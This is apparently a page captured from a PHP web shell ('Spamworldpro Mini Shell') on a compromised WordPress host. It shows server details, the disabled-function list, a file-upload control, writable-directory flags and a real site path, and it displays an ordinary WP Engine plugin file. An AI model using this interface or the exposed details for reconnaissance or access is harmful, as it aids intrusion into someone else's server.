Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux pod-100823:apache2_74:v0.6.0 5.4.0-1138-gcp #147~18.04.1-Ubuntu SMP Mon Oct 7 21:46:26 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33.10
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
Directory :  /nas/content/live/attorneyexperi/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /nas/content/live/attorneyexperi/wp-content/mu-plugins/wpe-update-source-selector.php
<?php
/**
 * Plugin Name:     WP Engine Update Source Selector
 * Description:     Install or update WordPress core, plugins, and themes from the source that works best for your site and workflows.
 * License:         GPLv2+
 * License URI:     https://www.gnu.org/licenses/gpl-2.0.html
 * Author:          WP Engine
 * Author URI:      https://wpengine.com
 * Update URI:      false
 * Network:         true
 * Text Domain:     wpe-update-source-selector
 * Domain Path:     /languages
 * Version:         1.1.4
 *
 * @package         wpe-update-source-selector
 */

namespace WPE_Update_Source_Selector;

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! function_exists( __NAMESPACE__ . '\wpe_uss_path' ) ) {
	/**
	 * Get the path to the plugin's files.
	 *
	 * @param string $plugin_file Path to plugin's entry point file.
	 *
	 * @return string
	 */
	function wpe_uss_path( string $plugin_file ) {
		$abspath    = wp_normalize_path( dirname( $plugin_file ) );
		$mu_path    = $abspath . '/wpe-update-source-selector';
		$core_class = '/classes/wpe-update-source-selector.php';

		// Is entry point file in directory above where plugin's files are?
		if ( file_exists( $mu_path . $core_class ) ) {
			$abspath = $mu_path;
		}

		return trailingslashit( $abspath );
	}
}

if ( ! defined( 'WPE_USS_FILE' ) ) {
	define( 'WPE_USS_FILE', __FILE__ );
}

if ( ! defined( 'WPE_USS_PATH' ) ) {
	define( 'WPE_USS_PATH', wpe_uss_path( __FILE__ ) );
}

if ( ! function_exists( __NAMESPACE__ . '\wpe_uss_init' ) && defined( 'WPE_USS_PATH' ) && is_string( WPE_USS_PATH ) ) {
	/**
	 * Instantiate the plugin's main class.
	 *
	 * @handles init
	 *
	 * @return void
	 */
	function wpe_uss_init() {
		if ( class_exists( __NAMESPACE__ . '\WPE_Update_Source_Selector' ) ) {
			return;
		}

		if ( ! file_exists( WPE_USS_PATH . 'classes/autoloader.php' ) ) {
			return;
		}

		global $wpe_uss;

		// Initiate our autoloader.
		require_once WPE_USS_PATH . 'classes/autoloader.php';
		new Autoloader( __NAMESPACE__, WPE_USS_PATH );

		// Load the main entry class for the plugin.
		$wpe_uss = new WPE_Update_Source_Selector( 'wpe-update-source-selector', WPE_USS_FILE, WPE_USS_PATH );
	}

	add_action( 'init', __NAMESPACE__ . '\wpe_uss_init' );
}

Spamworldpro Mini